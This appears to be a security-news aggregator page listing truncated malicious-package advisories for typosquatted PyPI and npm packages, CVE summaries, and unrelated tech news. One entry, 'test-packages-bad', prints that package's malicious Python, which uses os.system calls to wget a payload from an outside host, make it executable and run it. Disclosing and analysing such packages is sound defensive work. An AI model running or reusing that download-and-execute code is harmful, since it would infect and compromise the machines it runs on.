MAL-2023-2344 Malicious code in urllibb3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 8b16bf040d4e28e919f12abb8400a6c9c181ff72e7dc73d544cc1a621ac00aea Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-1580 Malicious code in aioohttp (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx bb824328257869526886253ac73ffff25818657e686f17b1ddf173da74c45abc Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-2063 Malicious code in pygamme (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 56d94a718f5ad009be706a22e0638abd24db39d417c918acaf8a135afc7d1760 Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-2217 Malicious code in scikit-leran (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx f153c03bad0b93fd0b624eec402a80347c6346c034b4a1542a3c3bf458b14c89 Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-2246 Malicious code in sikit-learn (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 60c0697ee2737b8feab28a88e8029765d3f525dc40e7957c56161aaaef6d6ba8 Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-2305 Malicious code in tensorflwo (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 758ac6d80263cf95ff52c4d2dfdf8ece9bd443edd1e3c7062e7a0b3b45f69b2c Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-1907 Malicious code in matpltolib (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx c335a789dcce1af7de0ef188d9b3a6a90a7e44d4d9187532047186a864607c34 Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-2241 Malicious code in sellenium (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 011843a4839c4407ebe20f622a86ded0b7bbb58b21e4dda29907cb1f70809892 Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-1660 Malicious code in bitcoinli (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 0e186eefad42a87c5451039d0b8f5c6552f86f3ef1707a6c88cde28b994ad26a Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

MAL-2023-1705 Malicious code in crypofeed (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx ccee707004d00cb98adf66944dcfed26ff1bd85671a5aff9cbcc60583319d28e Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

Malicious code in testtestkakakalala (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 98e7309912695d5637ac84873bffca284c0de331c041dfa349f1d860d35b0516 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

TikTok CEO told to "step up efforts to comply" with digital laws

EU Commissioner Thierry Breton, the EU's digital policy chief, "explicitly conveyed" to TikTok CEO Shou Zi Chew that the company must "step up efforts to comply" with the European Union's rules on copyright, data protection, and the Digital Services Act DSA--an EU regulation setting out "an...

Malicious Package

Overview test-packages-bad is a malicious package. This package downloads and runs malicious code on the victim host. Malicious Code python import os os.system"wget https://dark.devsecwise.com/cronjob.out /dev/null 2&1" os.system"chmod +x /home/$he/.metasploit/cronjob.out" os.system"./cronjob.out...

Popular YouTube Channel Caught Distributing Malicious Tor Browser Installer

A popular Chinese-language YouTube channel has emerged as a means to distribute a trojanized version of a Windows installer for the Tor Browser. Kaspersky dubbed the campaign OnionPoison, with all of the victims located in China. The scale of the attack remains unclear, but the Russian...

Worok cyber-espionage gang preys on high-profile Asian businesses and governments

Threat Level Actor Report For a detailed threat advisory, download the pdf file here Summary Worok, a newly uncovered cyber-espionage gang, has been targeting governments and high-profile companies in Asia since at least 2020 using a combination of unique and existing harmful tools. This group of...

YouTube transparency report shows battle against misinformation

Statistics for YouTube community guidelines enforcement are now available for the period April to June 2022, via Googles Transparency Report. YouTube channels are terminated if they accrue three community guideline strikes in 90 days, have a case of severe abuse predatory behaviour, for example, ...

CVE-2021-40336

A vulnerability exists in the http web interface where the web interface does not validate data in an HTTP header. This causes a possible HTTP response splitting, which if exploited could lead an attacker to channel down harmful code into the user’s web browser, such as to steal the session...

Cisco Nexus Dashboard 访问控制错误漏洞

Cisco Nexus Dashboard is a centralized data center control panel that makes it easier to manage hybrid cloud network operations and maintenance.A security vulnerability exists in Cisco Nexus Dashboard that could be exploited by attackers to spoof user identities and send malicious requests...

CVE-2022-35230

An authenticated user can create a link with reflected Javascript code inside it for the graphs page and send it to other users. The payload can be executed only with a known CSRF token value of the victim, which is changed periodically and is difficult to predict...

CVE-2022-2254

CVE-2022-2254 affects Distributed Data Systems WebHMI, version 4.1.1.7662 (and possibly prior versions). The vulnerability arises from improper neutralization of input during web page generation, enabling a user with administrative privileges to store a script that could impact other logged-in us...